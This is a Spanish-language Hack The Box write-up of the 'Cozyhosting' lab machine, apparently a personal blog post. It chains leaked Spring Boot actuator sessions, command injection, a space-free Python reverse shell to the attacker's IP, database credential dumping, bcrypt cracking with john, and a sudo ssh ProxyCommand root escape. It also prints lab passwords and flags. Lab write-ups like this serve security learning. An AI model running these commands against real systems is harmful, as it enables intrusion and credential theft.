This page looks best with JavaScript enabled

Hack The Box - Cozyhosting

 •  ✍️ sckull

Cozyhosting corre una aplicacion con Spring Boot, encontramos un endpoint que nos permitio obtener una cookie que nos permitio acceder al panel de administracion de la aplicacion lo que nos llevo a la ejecucion de comandos y una shell. Tras analizar los archivos de la aplicacion logramos acceder a la base de datos, conseguimos credenciales lo que nos dio acceso por SSH. Finalemente escalamos privilegios utilizando SSH.

Nombre CozyHosting box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.230
Maker

commandercool

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.1, 5.1, 5.2, 4.8, 4.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Sat Sep  2 22:13:09 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.105.176
Nmap scan report for 10.129.105.176
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep  2 22:13:18 2023 -- 1 IP address (1 host up) scanned in 9.55 seconds

Web Site

El sitio web nos redirige al dominio cozihosting.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/cozyhosting ❯ curl -sI 10.129.105.176
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 03 Sep 2023 02:14:48 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://cozyhosting.htb

 π ~/htb/cozyhosting ❯

El sitio del dominio muestra una pagina estatica.

image

Directory Brute Forcing

feroxbuster muestra multiples direcciones, aunque todo apunta a los recursos del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 π ~/htb/cozyhosting ❯ feroxbuster -u http://cozyhosting.htb/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cozyhosting.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
204      GET        0l        0w        0c http://cozyhosting.htb/logout
401      GET        1l        1w       97c http://cozyhosting.htb/admin
200      GET       29l      131w    11970c http://cozyhosting.htb/assets/img/pricing-free.png
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/favicon.png
200      GET       43l      241w    19406c http://cozyhosting.htb/assets/img/pricing-business.png
200      GET       38l      135w     8621c http://cozyhosting.htb/assets/img/logo.png
200      GET       81l      517w    40968c http://cozyhosting.htb/assets/img/hero-img.png
200      GET       79l      519w    40905c http://cozyhosting.htb/assets/img/values-2.png
200      GET       34l      172w    14934c http://cozyhosting.htb/assets/img/pricing-starter.png
200      GET        1l      218w    26053c http://cozyhosting.htb/assets/vendor/aos/aos.css
200      GET        1l      313w    14690c http://cozyhosting.htb/assets/vendor/aos/aos.js
200      GET       29l      174w    14774c http://cozyhosting.htb/assets/img/pricing-ultimate.png
200      GET      295l      641w     6890c http://cozyhosting.htb/assets/js/main.js
200      GET     2397l     4846w    42231c http://cozyhosting.htb/assets/css/style.css
200      GET       83l      453w    36234c http://cozyhosting.htb/assets/img/values-3.png
500      GET        1l        1w       73c http://cozyhosting.htb/error
200      GET        7l     2189w   194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET        7l     1222w    80420c http://cozyhosting.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET       73l      470w    37464c http://cozyhosting.htb/assets/img/values-1.png
200      GET       14l     1684w   143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200      GET        1l      625w    55880c http://cozyhosting.htb/assets/vendor/glightbox/js/glightbox.min.js
200      GET     2018l    10020w    95609c http://cozyhosting.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET      285l      745w    12706c http://cozyhosting.htb/index
200      GET       97l      196w     4431c http://cozyhosting.htb/login
200      GET      285l      745w    12706c http://cozyhosting.htb/
400      GET        1l       32w      435c http://cozyhosting.htb/[
400      GET        1l       32w      435c http://cozyhosting.htb/plain]
400      GET        1l       32w      435c http://cozyhosting.htb/]
400      GET        1l       32w      435c http://cozyhosting.htb/quote]
400      GET        1l       32w      435c http://cozyhosting.htb/extension]
400      GET        1l       32w      435c http://cozyhosting.htb/[0-9]
 π ~/htb/cozyhosting ❯

En el /login vemos un formulario que solicita usuario y contrasena, sin embargo no conocemos ningun par valido.

image

Spring Boot

Una de las direcciones encontradas es /error, donde se observa un mensaje de error, investigamos este error y todo indica a un error de codigo 404 de Spring Boot (1, 2, 3).

image

Actuators

Sabiendo que Spring Boot se esta utilizando investigamos un poco sobre esta tecnologia, nos topamos con Actuators. Basicamente un actuator ayuda a monitorear y controlar la aplicacion mediante rutas que pueden ser habilitadas y unas cuantas ya integradas o por default. Podemos encontrar una lista de rutas o endpoints en la documentacion pudiendo crear un pequeno wordlist.

Tras ejecutar ffuf con el wordlist vemos que encontro el endpoint /actuator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/cozyhosting ❯ ffuf -w ./actuators.txt -u http://cozyhosting.htb/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/cozyhosting/actuators.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 141ms]
    * FUZZ: actuator

:: Progress: [26/26] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
 π ~/htb/cozyhosting ❯

Al realizar una solicitud a /actuator observamos que existen otras rutas. /health muestra el estado de la aplicacion, /env informacion de la aplicacion aunque de forma ‘censurada’, /mappings muestra las rutas existentes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 π ~/htb/cozyhosting ❯ curl -s http://cozyhosting.htb/actuator | jq
{
  "_links": {
    "self": {
      "href": "http://localhost:8080/actuator",
      "templated": false
    },
    "sessions": {
      "href": "http://localhost:8080/actuator/sessions",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8080/actuator/beans",
      "templated": false
    },
    "health-path": {
      "href": "http://localhost:8080/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8080/actuator/health",
      "templated": false
    },
    "env": {
      "href": "http://localhost:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://localhost:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "mappings": {
      "href": "http://localhost:8080/actuator/mappings",
      "templated": false
    }
  }
}
 π ~/htb/cozyhosting ❯

Una de las rutas interesantes es /executessh que por su nombre ya tenemos una idea de que se trata de ejecucion de comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[...]
{
  "handler": "htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)",
  "predicate": "{POST [/executessh]}",
  "details": {
    "handlerMethod": {
      "className": "htb.cloudhosting.compliance.ComplianceService",
      "name": "executeOverSsh",
      "descriptor": "(Ljava/lang/String;Ljava/lang/String;Ljakarta/servlet/http/HttpServletResponse;)V"
    },
    "requestMappingConditions": {
      "consumes": [],
      "headers": [],
      "methods": [
        "POST"
      ],
      "params": [],
      "patterns": [
        "/executessh"
      ],
      "produces": []
    }
  }
}
[...]

Finalmente /sessions donde muestra lo que parece ser una cookie, en este caso se describe la primera para el usuario kanderson.

1
2
3
4
5
6
 π ~/htb/cozyhosting ❯ curl -s http://cozyhosting.htb/actuator/sessions | jq
{
  "170E4D736792625045751B781AC9C9C7": "kanderson",
  "CE45088C6AFC55E53BCFEC94D311F80F": "UNAUTHORIZED"
}
 π ~/htb/cozyhosting ❯

Kanderson - Admin Panel

Reemplazamos la cookie existente en firefox utilizando Web Developer Tools -> Storage -> Cookies luego nos dirigimos a /admin donde encontramos un dashboard.

image

En la parte de abajo vemos un formulario para agregar un host para una conexion por SSH.

image

Si intentamos agregar una nueva configuracion con direccion IP y usuario nos muestra un error.

image

User - app

Command Injection

Si revisamos la solicitud la realiza a /executessh por lo que es probable que este construyendo y ejecutando un comando utilizando ssh.

image

Tras manipular el parametro username encontramos que podemos ejecutar comandos en este caso un simple id.

image

Shell

Intentamos ejecutar una shell inversa pero los espacios generan error por lo que utilizamos la ejecucion de una shell inversa sin espacios.

1
python3$IFS-c$IFS'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.18",1339));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Tras enviar el comando logramos acceder como app en la maquina.

1
2
3
4
5
6
7
8
9
 π ~/htb/cozyhosting ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.18] from cozyhosting.htb [10.129.105.176] 53812
$ whoami;id;pwd
whoami;id;pwd
app
uid=1001(app) gid=1001(app) groups=1001(app)
/app
$

User - Josh

En /app encontramos la aplicacion en .jar, copiamos esta y descomprimimos su contenido utilizando unzip.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ls
ls
cloudhosting-0.0.1.jar
$ cp cloudhosting-0.0.1.jar /dev/shm
cp cloudhosting-0.0.1.jar /dev/shm
$ cd /dev/shm
cd /dev/shm
$ ls
ls
cloudhosting-0.0.1.jar  PostgreSQL.3550785872
$ unzip cloudhosting-0.0.1.jar  
unzip cloudhosting-0.0.1.jar    
Archive:  cloudhosting-0.0.1.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF
[...]
 extracting: BOOT-INF/lib/spring-boot-jarmode-layertools-3.0.2.jar
  inflating: BOOT-INF/classpath.idx
  inflating: BOOT-INF/layers.idx
$ ls
ls
BOOT-INF  cloudhosting-0.0.1.jar  META-INF  org  PostgreSQL.3550785872
$

Encontramos en application.properties las credenciales para la base de datos postgres.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ pwd
pwd
/dev/shm/BOOT-INF/classes
$ ls -lah
ls -lah
total 4.0K
drwxr-xr-x 5 app app 120 Aug 10 23:22 .
drwxr-xr-x 4 app app 120 Aug 10 23:22 ..
-rw-r--r-- 1 app app 551 Aug 10 23:22 application.properties
drwxr-xr-x 3 app app  60 Aug 10 23:22 htb
drwxr-xr-x 3 app app  60 Aug 10 23:22 static
drwxr-xr-x 2 app app 100 Aug 10 23:22 templates
$ cat application.properties
cat application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
$
$

Tras acceder por postgres vemos cuatro bases de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ psql -U postgres -p 5432 -h localhost
psql -U postgres -p 5432 -h localhost
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
\l
WARNING: terminal is not fully functional
Press RETURN to continue

                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privil
eges
-------------+----------+----------+-------------+-------------+----------------
-------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
      +
             |          |          |             |             | postgres=CTc/po
stgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
      +
             |          |          |             |             | postgres=CTc/po
stgres
(4 rows)

(END)q
postgres=#

Listamos las tablas de cozyhosting.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
postgres=# \c cozyhosting
\c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue

         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

(END)q
cozyhosting=#

La tabla users muestra que almacena un nombre y contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cozyhosting=#
cozyhosting=# \d+ users
\d+ users
WARNING: terminal is not fully functional
Press RETURN to continue

                                                   Table "public.users"
  Column  |          Type          | Collation | Nullable | Default | Storage  |
 Compression | Stats target | Description
----------+------------------------+-----------+----------+---------+----------+
-------------+--------------+-------------
 name     | character varying(50)  |           | not null |         | extended |
             |              |
 password | character varying(100) |           | not null |         | extended |
             |              |
 role     | role                   |           |          |         | plain    |
             |              |
Indexes:
    "users_pkey" PRIMARY KEY, btree (name)
Referenced by:
    TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERE
NCES users(name)
Access method: heap

(END)
(END)q
cozyhosting=#

Al obtener los datos de la tabla observamos dos hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue

   name    |                           password                           | role

-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)

(END)
(END)q
cozyhosting=#

Crack The Hash

Logramos obtener una contrasena tras ejecutar john.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/cozyhosting ❯ john hashes --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:26 DONE (2023-09-03 01:14) 0.03773g/s 105.9p/s 105.9c/s 105.9C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
 π ~/htb/cozyhosting ❯

Vemos que al usuario josh registrado en la maquina.

1
2
3
4
5
6
$ cat /etc/passwd | grep home
cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
app:x:1001:1001::/home/app:/bin/sh
josh:x:1003:1003::/home/josh:/usr/bin/bash
$

Shell

Utilizamos la contrasena con josh logrando acceder por SSH y obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 π ~/htb/cozyhosting ❯ ssh josh@cozyhosting.htb # manchesterunited
josh@cozyhosting.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  3 05:15:44 AM UTC 2023

  System load:           0.0
  Usage of /:            57.3% of 5.42GB
  Memory usage:          32%
  Swap usage:            0%
  Processes:             252
  Users logged in:       0
  IPv4 address for eth0: 10.129.105.176
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b97d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Aug 29 09:03:34 2023 from 10.10.14.41
josh@cozyhosting:~$ whoami;id;pwd
josh
uid=1003(josh) gid=1003(josh) groups=1003(josh)
/home/josh
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ cat user.txt
e05592ac0b021a9c287ff9a004e585e9
josh@cozyhosting:~$

Privesc

Finalmente escalamos privilegios utilizando ssh lo que nos permitio realizar la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
josh@cozyhosting:~$ sudo -l -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User josh may run the following commands on localhost:

Sudoers entry:
    RunAsUsers: root
    Commands:
    /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
d7fc0e222bb2c6f797412dc1cc47e4b1
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe